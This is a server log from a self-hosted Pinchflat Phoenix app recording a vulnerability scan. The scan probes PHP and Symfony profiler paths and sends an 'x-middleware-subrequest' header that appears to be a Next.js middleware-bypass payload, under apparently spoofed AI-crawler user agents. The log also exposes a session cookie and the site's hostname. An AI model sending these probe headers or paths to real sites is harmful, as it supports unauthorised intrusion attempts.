"/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61oKUbbHN8EYABwvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35004}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefine (truncated) 16:49:11.008 [debug] QUERY OK source="settings" db=0.1ms idle=56.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.009 [debug] QUERY OK source="settings" db=0.0ms idle=44.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.009 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.009 [error] #PID<0.29915.0> running PinchflatWeb.Endpoint (connection #PID<0.29914.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /i.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35008}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29915.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61oKqIXOmmCcAAIMj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35008}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35008}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:11.024 [info] GET /_profiler/latest 16:49:11.024 [debug] QUERY OK source="settings" db=0.0ms idle=60.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.024 [debug] QUERY OK source="settings" db=0.0ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.024 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.025 [info] GET /_profiler/open 16:49:11.024 [error] #PID<0.29917.0> running PinchflatWeb.Endpoint (connection #PID<0.29916.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/latest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35010}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29917.0>, params: %{}, path_info: ["_profiler", "latest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_profiler/latest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61oOXkUSO5Z4ABwvh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35010}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/latest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/latest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35010}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, ho (truncated) 16:49:11.025 [debug] QUERY OK source="settings" db=0.0ms idle=18.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.025 [debug] QUERY OK source="settings" db=0.0ms idle=16.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.026 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.026 [error] #PID<0.29919.0> running PinchflatWeb.Endpoint (connection #PID<0.29918.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_profiler/open ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35026}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29919.0>, params: %{}, path_info: ["_profiler", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_profiler/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61oOsxz4USrkABwwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35026}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29918.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35026}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:11.058 [info] GET /app_dev.php 16:49:11.059 [debug] QUERY OK source="settings" db=0.0ms idle=49.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.059 [debug] QUERY OK source="settings" db=0.0ms idle=34.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 